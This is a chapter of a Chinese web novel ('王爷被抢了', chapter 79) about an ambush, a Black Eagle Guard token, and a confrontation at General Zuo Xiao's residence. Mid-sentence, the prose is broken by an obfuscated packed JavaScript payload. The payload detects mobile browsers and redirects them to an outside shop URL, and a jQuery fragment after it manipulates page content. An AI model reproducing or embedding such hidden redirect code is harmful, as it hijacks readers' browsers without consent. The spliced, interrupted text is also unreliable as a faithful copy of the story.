79. 第 79 章

作品:《王爷被抢了

    凌楚宜话音刚落,便见一道黑影破风而来,直取马车车辕。墨清眼疾手快,手中长剑挽出一朵剑花,“铛”的一声格开对方的弯刀,冷喝:“找死!”


    那黑影吃了一惊,显然没料到墨清的剑法如此凌厉,刚想退开,墨林已从斜刺里杀出,长剑直插其肋下,黑影闷哼一声倒地。


    独孤冲身形未动,指尖却弹出数枚银镖,精准命中后方三名追兵的膝盖,他们惨叫着跪倒在地,瞬间被暗卫制服。


    还未等人反应过来,凌楚宜便抽出腰间软剑,飞身掠出车外,软剑如灵蛇般缠上一名黑衣人的手腕,只听咔嚓一声,对方的兵器落地,随即被她一脚踹翻。


    厮杀声中,忽然有个黑衣人突破重围,直扑凌楚宜而来,口中低吼:“拿下这女子!”


    独孤冲眸色一凛,掌心凝聚内力,正要出手,凌楚宜却已侧身避开,软剑反手削向对方脖颈,那人急忙偏头,左颊被划出一道深痕,鲜血直流。


    他见势不妙,转身欲逃,却被墨清的长剑穿心而过。仅片刻工夫,残余的追兵便被肃清。


    墨清擦拭着剑上的血迹,上前禀报:“王爷,共十三名黑衣人,皆无活口。”


    独孤冲掀开车帘走下马车,目光扫过地上的尸体,忽然停在其中一人腰间,那里挂着一块青铜令牌,正面刻着赵国的玄鸟图腾,背面却隐隐有一道模糊的“鹰”字划痕。


    他弯腰拾起令牌,指尖摩挲着那道划痕,眸色深不见底:“有意思。”


    凌楚宜也走了过来,看到令牌上的痕迹,眉头紧锁:“鹰?什么意思?”


    “这应当是黑鹰卫的令牌。”


    “黑鹰卫?赵国的?”凌楚宜对此亦有所耳闻。


    又是赵人口音,又是黑鹰卫,难道真的是赵国所为?


    “是与不是,去会会就知道了。”


    凌楚宜看向独孤冲:“那我们现在往哪走?”


    独孤冲将令牌收入袖中,目光投向北方天际:“雁门关外三十里有个黑石镇,往那去找个人。”


    “找谁?”凌楚宜问。


    “左孝,赵国的骠骑将军。”


    左孝?


    乍一听这个名字,凌楚宜就顿觉耳熟。


    凌楚宜忽然一拍掌心:“是他!”


    随即从怀中将玄铁令牌取出,递到独孤冲面前:“这是我哥给我的。”


    独孤冲接过令牌,一个大大的左字赫然印在玄铁中央,边缘还刻着半圈细小的鹰纹——竟与方才黑鹰卫令牌上的划痕隐隐呼应。


    他抬眼看向凌楚宜,眸中闪过一丝了然:“没想到右将军与左孝居然是旧识。”


    这点倒是让独孤冲颇感意外。


    左孝其人,在赵国军中素有“铁面将军”之称。


    他出身行伍,凭赫赫战功升至骠骑将军,常年驻守雁门关,抵御北狄侵扰,麾下黑鹰卫更是赵国最精锐的边军之一。


    此人刚正不阿,从不依附权贵,因此在朝中得罪了不少人,尤其是以丞相赵嵩为首的外戚势力。


    “我哥说若在赵国遇上难处可以去找左孝。”


    “既是熟人,事情就更好办了。”


    极北之地离那黑石镇不过也就几日的日程,正好顺路去摸摸黑鹰卫的底细。


    ……


    接下来几日,他们改走隐蔽山道,墨清和墨林率暗卫在前探路,一路虽偶有小股伏兵,却都被轻易化解。


    抵达黑石镇时,已是黄昏,夕阳将镇口那座斑驳的石牌坊染得通红。


    左孝的府邸在镇东,朱漆大门紧闭,门楣上悬挂着“骠骑将军府”的匾额,却不见往日的威严,反而透着几分萧索。


    墨清上前叩门,半晌才有人应声,一个老仆探出头来,见是陌生人,警惕地问:“你们找谁?”


    “烦请通报左将军,故人之妹凌楚宜求见。”


    凌楚宜上前一步,亮出手中的玄铁令牌。老仆见了令牌,脸色微变,忙侧身让他们入内,低声道:“将军正在书房,只是近日府中不大太平,诸位还请小心。”


    走进府内,庭院里杂草丛生,显然有些日子未曾打理。穿过回廊,来到书房外,便听见里面传来激烈的争吵声。


    “左孝!你若再执迷不悟,休怪本王不念旧情!”一个尖细的声音响起,带着几分威胁。


    独孤冲抬手示意众人噤声,指尖抵在唇上,眸色沉了沉。


    那尖细声音的主人似乎还在逼迫左孝,只听左孝冷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095318|184105||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哼一声,声音带着几分沙哑却依旧坚定:“梁王殿下说笑了,末将驻守雁门关十余年,护的是赵国百姓,不是你背后的赵嵩一党!勾结北狄?如此罪名,末将担不起!”


    争吵声持续不断,里面忽然传来“哐当”一声脆响,似是茶盏被狠狠掼在地上。


    紧接着梁王尖细的嗓音拔高了几分,带着狠戾:“敬酒不吃吃罚酒!来人,给本王把这逆臣拿下!”


    紧接着,拔刀的声响彻书房,几名侍卫手持钢刀,恶狠狠地扑向左孝。


    左孝身手矫健,猛地掀翻案几,抽出墙上挂着的佩剑,与侍卫缠斗在一起。


    骠骑将军府中的府兵一听到打斗声,立刻抄起家伙从两侧奔来,书房的门“砰”的一声被猛地撞开,几名府兵手持长枪冲了进来,厉声喝道:“谁敢伤我家将军!”


    梁王带来的侍卫本就不是左孝的对手,此刻见府兵加入,顿时慌了手脚。左孝趁势一剑挑飞一名侍卫的钢刀,剑锋直指梁王:“殿下今日若是非要栽赃末将,便先踏过末将的尸体!”


    梁王脸色煞白,后退两步,但仍强撑着摆出王爷的架子,色厉内荏地喊道:“你……你敢对本王动手?信不信本王回去就奏请陛下,定你谋逆之罪!”


    左孝丝毫不惧:“我乃陛下亲封的骠骑将军,左家世代忠良,留有先王御赐的打奸锏。若梁王殿下真要问我的罪,烦请殿下请来陛下的谕旨。”


    梁王的脸涨成了猪肝色,手指着左孝半天说不出话,最终咬牙道:“好!你等着!本王定会让你为今日的狂妄付出代价!”


    说罢,他狠狠一甩袖,带着残余的侍卫狼狈地退出了书房。


    直到梁王的身影消失在府门外,左孝才松了口气,收起打奸锏,转身看向门口。


    这时,凌楚宜和独孤冲缓步从回廊的阴影中走出,凌楚宜上前一步,再次亮出玄铁令牌:“左将军,我乃凌楚宜,是凌寒的妹妹。”


    左孝看到令牌眼中闪过一丝惊讶,随即拱手道:“原来是凌姑娘!”


    他面上态度虽是客气,但细看眼底却没有丝毫温度,没有半分见到故人之妹该有的热络与亲切,只是淡淡地问道:“不知凌姑娘不远千里造访骠骑将军府,所为何事?”